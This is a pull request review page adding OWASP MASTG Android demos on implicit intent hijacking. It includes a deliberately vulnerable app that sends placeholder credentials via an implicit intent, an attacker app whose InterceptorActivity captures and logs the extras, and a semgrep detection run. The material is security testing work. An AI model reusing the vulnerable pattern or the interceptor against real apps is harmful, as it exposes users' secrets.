Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.datainteceptor">
Copy link

Copilot AI Aug 31, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There's a typo in the package name: 'datainteceptor' should be 'datainterceptor' to match the correct spelling of 'interceptor'.

Suggested change
package="com.example.datainteceptor">
package="com.example.datainterceptor">

Copilot uses AI. Check for mistakes.

<application android:label="AttackerApp">

<!-- Default launcher activity -->
<activity android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

<!-- Interceptor activity to catch implicit intent -->
<activity android:name=".InterceptorActivity"
android:exported="true">
<intent-filter>
<action android:name="org.owasp.mastestapp.PROCESS_SENSITIVE_DATA" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

</application>
</manifest>
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I know there are other demos with AndroidManifest_reversed.xml but I think it would be beneficial for understanding the risk if we only provide the original.

The reason is that the reversed XML has additional entries while the entries from the original remain the same.

Or are there exceptions to that? @cpholguera is there some reason for that I missed in https://docs.google.com/document/d/1EMsVdfrDBAu0gmjWAUEs60q-fWaOmDB5oecY9d9pOlg/edit?pli=1&tab=t.0 ?

Original file line number Diff line number Diff line change
@@ -0,0 +1,89 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
android:versionCode="1"
android:versionName="1.0"
android:compileSdkVersion="35"
android:compileSdkVersionCodename="15"
package="org.owasp.mastestapp"
platformBuildVersionCode="35"
platformBuildVersionName="15">
<uses-sdk
android:minSdkVersion="29"
android:targetSdkVersion="35"/>
<uses-permission android:name="android.permission.INTERNET"/>
<permission
android:name="org.owasp.mastestapp.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"
android:protectionLevel="signature"/>
<uses-permission android:name="org.owasp.mastestapp.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"/>
<application
android:theme="@style/Theme.MASTestApp"
android:label="@string/app_name"
android:icon="@mipmap/ic_launcher"
android:debuggable="true"
android:testOnly="true"
android:allowBackup="true"
android:supportsRtl="true"
android:extractNativeLibs="false"
android:fullBackupContent="@xml/backup_rules"
android:roundIcon="@mipmap/ic_launcher_round"
android:appComponentFactory="androidx.core.app.CoreComponentFactory"
android:dataExtractionRules="@xml/data_extraction_rules">
<activity
android:theme="@style/Theme.MASTestApp"
android:name="org.owasp.mastestapp.MainActivity"
android:exported="true"
android:windowSoftInputMode="adjustResize">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<activity
android:name="org.owasp.mastestapp.VulnerableActivity"
android:exported="true">
<intent-filter>
<action android:name="org.owasp.mastestapp.PROCESS_SENSITIVE_DATA"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
<activity
android:name="androidx.compose.ui.tooling.PreviewActivity"
android:exported="true"/>
<activity
android:name="androidx.activity.ComponentActivity"
android:exported="true"/>
<provider
android:name="androidx.startup.InitializationProvider"
android:exported="false"
android:authorities="org.owasp.mastestapp.androidx-startup">
<meta-data
android:name="androidx.emoji2.text.EmojiCompatInitializer"
android:value="androidx.startup"/>
<meta-data
android:name="androidx.lifecycle.ProcessLifecycleInitializer"
android:value="androidx.startup"/>
<meta-data
android:name="androidx.profileinstaller.ProfileInstallerInitializer"
android:value="androidx.startup"/>
</provider>
<receiver
android:name="androidx.profileinstaller.ProfileInstallReceiver"
android:permission="android.permission.DUMP"
android:enabled="true"
android:exported="true"
android:directBootAware="false">
<intent-filter>
<action android:name="androidx.profileinstaller.action.INSTALL_PROFILE"/>
</intent-filter>
<intent-filter>
<action android:name="androidx.profileinstaller.action.SKIP_FILE"/>
</intent-filter>
<intent-filter>
<action android:name="androidx.profileinstaller.action.SAVE_PROFILE"/>
</intent-filter>
<intent-filter>
<action android:name="androidx.profileinstaller.action.BENCHMARK_OPERATION"/>
</intent-filter>
</receiver>
</application>
</manifest>
42 changes: 42 additions & 0 deletions demos/android/MASVS-CODE/MASTG-DEMO-0058/MASTG-DEMO-0058.md
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This demo implements a special case where the developer mistakenly uses an implicit intent and an exported Activity for supposedly internal ICP. This is generally not the intended use case of implicit intents, as they should be used when the developers do not know which app should react to it. I think this should be more clearly described in the demo.

Further, the issue of implicit intent hijacking is more general, as actions can be anything from built-in to the same package name or completely custom. And depending on the configuration, the likelihood of an attack varies. This demo declares two intent filters for the custom action. This means the user must, in any case, choose between the valid and the malicious app:

Screenshot From 2026-01-18 13-25-41

I think this should be mentioned in the demo because it is relevant to the risk.

To cover the different situations, we should make different demos. Let me suggest the following:

  1. MASTG-DEMO-0058: Dynamic Detection of Implicit Intent Hijacking
  2. MASTG-DEMO-0059: Static Detection of External Intent Misuse for Internal IPC
  3. MASTF-TEST-xxxx: Dynamic Detection of Arbitrary File Read Using Implicit Intent Hijacking
  4. MASTF-TEST-xxxx: Dynamic Detection of Arbitrary Code Execution Implicit Intent Hijacking

We take your proposal for the first two but implement the two examples from the MASTG-V1-Test as new demos so we don't lose them.

These demos should also demonstrate situations where no app chooser is shown to the user. For example, if an implicit intent is used for which there is only the attacker app available. I will propose this in the discussion #2997.

I made a fork of the PR with a suggestion for updates to the first two demos: https://github.com/bernhste/owasp-mastg/tree/TEST-0026-draft-updated-DEMO

Please take a look and let me know what you think. I'm also happy to implement additional demos.

Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
---
platform: android
title: Implicit Intent Hijacking with same custom intent filter
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
title: Implicit Intent Hijacking with same custom intent filter
title: Implicit Intent Hijacking with Same Custom Intent Filter

Title capitalization.

id: MASTG-DEMO-0058
code: [kotlin]
test: MASTG-TEST-0286
profiles: [L1, L2]
---

### Sample

The code snippet below demonstrates the use of an implicit intent with sensitive data and a custom action, without specifying a target component.

{{ MastgTest.kt # MastgTest_reversed.java }}

### MastgTestAttacker.kt

The attacker app has an exported activity that includes a corresponding `<intent-filter>` which registers the identical custom action, enabling it to capture the implicit intent sent out by the victim app.

{{ MastgTestAttacker.kt }}

### MastgTestInternalData.kt

A component within the vulnerable app originally intended to process sensitive data, but is exposed via an implicit intent mechanism. Although not explicitly targeted, it can be hijacked by any app that claims to handle the same action.

{{ MastgTestInternalData.kt }}

### Steps

1. Install the attacker app on a device using @MASTG-TECH-0004.
2. On the vulnerable app, click on start to start the test.

{{ MastgTestAttacker.kt }}
{{ AndroidManifestAttacker_app.xml }}

### Observation

The attacker app successfully intercepted the intent containing sensitive extras such as tokens, API keys, and credentials. This confirms that any app declaring a matching `<intent-filter>` can receive these values without restriction.

### Evaluation

The test fails due to the use of an exported activity (VulnerableActivity) that includes an intent filter with a custom action. Combined with the implicit intent in `MastgTest.kt`, this creates a vulnerable pattern where sensitive data is transmitted to an untrusted receiver.
32 changes: 32 additions & 0 deletions demos/android/MASVS-CODE/MASTG-DEMO-0058/MastgTest.kt
Original file line number Diff line number Diff line change
@@ -0,0 +1,32 @@
package org.owasp.mastestapp

import android.util.Log
import android.content.Context
import android.content.Intent

class MastgTest (private val context: Context){

fun mastgTest(): String {
val sensitiveString = "Hello from the OWASP MASTG Test app."
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is the placeholder string from the template app. I would suggest using the GUI to inform the user about the status of the test. Something like that:

        // Launch implicit intent - any app can intercept this
        try {
            context.startActivity(vulnerableIntent)
            r.add(Status.FAIL, "Hijackable implicit intent launched")
        } catch (e: Exception) {
            r.add(Status.ERROR, e.toString())
        }

See also: https://github.com/bernhste/owasp-mastg/blob/TEST-0026-draft-updated-DEMO/demos/android/MASVS-CODE/MASTG-DEMO-0058/MastgTest.kt


// Vulnerable: Using implicit intent with sensitive data
val vulnerableIntent = Intent().apply {
action = "org.owasp.mastestapp.PROCESS_SENSITIVE_DATA"
putExtra("sensitive_token", "auth_token_12345")
putExtra("user_credentials", "admin:password123")
putExtra("api_key", "sk-1234567890abcdef")
putExtra("message", sensitiveString)
}

// Launch implicit intent - any app can intercept this
try {
context.startActivity(vulnerableIntent)
Log.d("MASTG-TEST", "Launched vulnerable implicit intent with sensitive data")
} catch (e: Exception) {
Log.e("MASTG-TEST", "Failed to launch intent: ${e.message}")
}

Log.d("MASTG-TEST", sensitiveString)
return sensitiveString
}
}
24 changes: 24 additions & 0 deletions demos/android/MASVS-CODE/MASTG-DEMO-0058/MastgTestAttacker.kt
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
package com.example.datainteceptor
Copy link

Copilot AI Aug 31, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There's a typo in the package name: 'datainteceptor' should be 'datainterceptor' to match the correct spelling of 'interceptor'.

Suggested change
package com.example.datainteceptor
package com.example.datainterceptor

Copilot uses AI. Check for mistakes.

import android.app.Activity
import android.os.Bundle
import android.util.Log
import android.widget.TextView

class InterceptorActivity : Activity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)

val data = StringBuilder("Intercepted Data:\n")

intent?.extras?.keySet()?.forEach { key ->
val value = intent.getStringExtra(key)
data.append("$key: $value\n")
Log.w("INTERCEPTOR", "$key = $value")
}

val textView = TextView(this)
textView.text = data.toString()
setContentView(textView)
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
package com.example.datainteceptor
Copy link

Copilot AI Aug 31, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There's a typo in the package name: 'datainteceptor' should be 'datainterceptor' to match the correct spelling of 'interceptor'.

Suggested change
package com.example.datainteceptor
package com.example.datainterceptor

Copilot uses AI. Check for mistakes.

import android.app.Activity
import android.os.Bundle
import android.widget.TextView

class MainActivity : Activity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)

val textView = TextView(this)
textView.text = "Exploit App Ready. Waiting to intercept intent..."
setContentView(textView)
}
}
46 changes: 46 additions & 0 deletions demos/android/MASVS-CODE/MASTG-DEMO-0058/MastgTestInternalData.kt
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
package org.owasp.mastestapp

import android.app.Activity
import android.os.Bundle
import android.util.Log
import android.widget.TextView

class VulnerableActivity : Activity() {

override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)

// Simple layout to show the received data
val textView = TextView(this)
textView.text = "Processing sensitive data..."
setContentView(textView)

// Process the received intent data
val receivedData = StringBuilder("Received sensitive data:\n")

intent?.let { intent ->
intent.getStringExtra("sensitive_token")?.let {
receivedData.append("Token: $it\n")
Log.d("VULNERABLE-APP", "Received token: $it")
}

intent.getStringExtra("user_credentials")?.let {
receivedData.append("Credentials: $it\n")
Log.d("VULNERABLE-APP", "Received credentials: $it")
}

intent.getStringExtra("api_key")?.let {
receivedData.append("API Key: $it\n")
Log.d("VULNERABLE-APP", "Received API key: $it")
}

intent.getStringExtra("message")?.let {
receivedData.append("Message: $it\n")
Log.d("VULNERABLE-APP", "Received message: $it")
}
}

textView.text = receivedData.toString()
Log.d("VULNERABLE-APP", "VulnerableActivity processed data")
}
}
37 changes: 37 additions & 0 deletions demos/android/MASVS-CODE/MASTG-DEMO-0058/MastgTest_reversed.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
package org.owasp.mastestapp;

import android.content.Context;
import android.content.Intent;
import android.util.Log;
import kotlin.Metadata;
import kotlin.jvm.internal.Intrinsics;

/* compiled from: MastgTest.kt */
@Metadata(d1 = {"\u0000\u0018\n\u0002\u0018\u0002\n\u0002\u0010\u0000\n\u0000\n\u0002\u0018\u0002\n\u0002\b\u0003\n\u0002\u0010\u000e\n\u0000\b\u0007\u0018\u00002\u00020\u0001B\u000f\u0012\u0006\u0010\u0002\u001a\u00020\u0003¢\u0006\u0004\b\u0004\u0010\u0005J\u0006\u0010\u0006\u001a\u00020\u0007R\u000e\u0010\u0002\u001a\u00020\u0003X\u0082\u0004¢\u0006\u0002\n\u0000¨\u0006\b"}, d2 = {"Lorg/owasp/mastestapp/MastgTest;", "", "context", "Landroid/content/Context;", "<init>", "(Landroid/content/Context;)V", "mastgTest", "", "app_debug"}, k = 1, mv = {2, 0, 0}, xi = 48)
/* loaded from: classes3.dex */
public final class MastgTest {
public static final int $stable = 8;
private final Context context;

public MastgTest(Context context) {
Intrinsics.checkNotNullParameter(context, "context");
this.context = context;
}

public final String mastgTest() {
Intent vulnerableIntent = new Intent();
vulnerableIntent.setAction("org.owasp.mastestapp.PROCESS_SENSITIVE_DATA");
vulnerableIntent.putExtra("sensitive_token", "auth_token_12345");
vulnerableIntent.putExtra("user_credentials", "admin:password123");
vulnerableIntent.putExtra("api_key", "sk-1234567890abcdef");
vulnerableIntent.putExtra("message", "Hello from the OWASP MASTG Test app.");
try {
this.context.startActivity(vulnerableIntent);
Log.d("MASTG-TEST", "Launched vulnerable implicit intent with sensitive data");
} catch (Exception e) {
Log.e("MASTG-TEST", "Failed to launch intent: " + e.getMessage());
}
Log.d("MASTG-TEST", "Hello from the OWASP MASTG Test app.");
return "Hello from the OWASP MASTG Test app.";
}
}
36 changes: 36 additions & 0 deletions demos/android/MASVS-CODE/MASTG-DEMO-0059/MASTG-DEMO-0059.md
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

According to the Demo Guideline a demo should be fully self-contained. Exceptions are tools or rules.

There is a discussion about this topic: #3263

It is basically about separating the demo sample code and the actual test using different tools. I would be happy to hear your opinion.

Also, please see the comment in MASTG-DEMO-0058 about a suggested change here.

Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
---
platform: android
title: Implicit intent to trigger internal app components
Copy link
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
title: Implicit intent to trigger internal app components
title: Implicit Intent to Trigger Internal App Components

Title capitalization.

id: MASTG-DEMO-0059
code: [kotlin]
test: MASTG-TEST-0287
profiles: [L1, L2]
---

### Sample

The manifest snippet outlines an exported activity featuring an `<intent-filter>` with a unique action. This allows the component to be reachable by any application on the device that registers the identical intent action, which could allow a malicious app to capture such intents.

{{ ../MASTG-DEMO-0058/AndroidManifest_reversed.xml }}

### Steps

Let's run our @MASTG-TOOL-0110 rule against the manifest file and code.

{{ ../../../../rules/mastg-android-custom-intent-filter-intercept.yml }}
Copy link

Copilot AI Aug 31, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The referenced rule file path 'mastg-android-custom-intent-filter-intercept.yml' doesn't match the actual filename 'mastg-android-custom-intent-intecept.yml'. This will result in a broken reference.

Suggested change
{{ ../../../../rules/mastg-android-custom-intent-filter-intercept.yml }}
{{ ../../../../rules/mastg-android-custom-intent-intecept.yml }}

Copilot uses AI. Check for mistakes.

{{ run.sh }}

### Observation

Semgrep identifies that the `org.owasp.mastestapp.VulnerableActivity` component is both:

- Marked as `android:exported="true"`.

- Declares an `<intent-filter>` with a custom action `org.owasp.mastestapp.PROCESS_SENSITIVE_DATA`.

This configuration allows any third-party app to register the same action and receive the implicit intent, enabling potential hijacking of sensitive data.

### Evaluation

The test fails because the exported activity can be accessed through a custom implicit action. This exposes internal functionality to untrusted apps.
18 changes: 18 additions & 0 deletions demos/android/MASVS-CODE/MASTG-DEMO-0059/output.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@


┌────────────────┐
│ 1 Code Finding │
└────────────────┘

AndroidManifest_reversed.xml
❯❱ exported-implicit-custom-action
Exported activity with custom implicit intent action. May enable intent hijacking.

41┆ <activity
42┆ android:name="org.owasp.mastestapp.VulnerableActivity"
43┆ android:exported="true">
44┆ <intent-filter>
45┆ <action android:name="org.owasp.mastestapp.PROCESS_SENSITIVE_DATA"/>
46┆ <category android:name="android.intent.category.DEFAULT"/>
47┆ </intent-filter>
48┆ </activity>
2 changes: 2 additions & 0 deletions demos/android/MASVS-CODE/MASTG-DEMO-0059/run.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
# shellcheck disable=SC2148
NO_COLOR=true semgrep -c ../../../../rules/mastg-android-custom-intent-filter-intercept.yml ../MASTG-DEMO-0058/AndroidManifest_reversed.xml --text -o output.txt
Copy link

Copilot AI Aug 31, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The referenced rule file 'mastg-android-custom-intent-filter-intercept.yml' doesn't match the actual filename 'mastg-android-custom-intent-intecept.yml'. This will cause the semgrep command to fail.

Suggested change
NO_COLOR=true semgrep -c ../../../../rules/mastg-android-custom-intent-filter-intercept.yml ../MASTG-DEMO-0058/AndroidManifest_reversed.xml --text -o output.txt
NO_COLOR=true semgrep -c ../../../../rules/mastg-android-custom-intent-intecept.yml ../MASTG-DEMO-0058/AndroidManifest_reversed.xml --text -o output.txt

Copilot uses AI. Check for mistakes.
Loading
Loading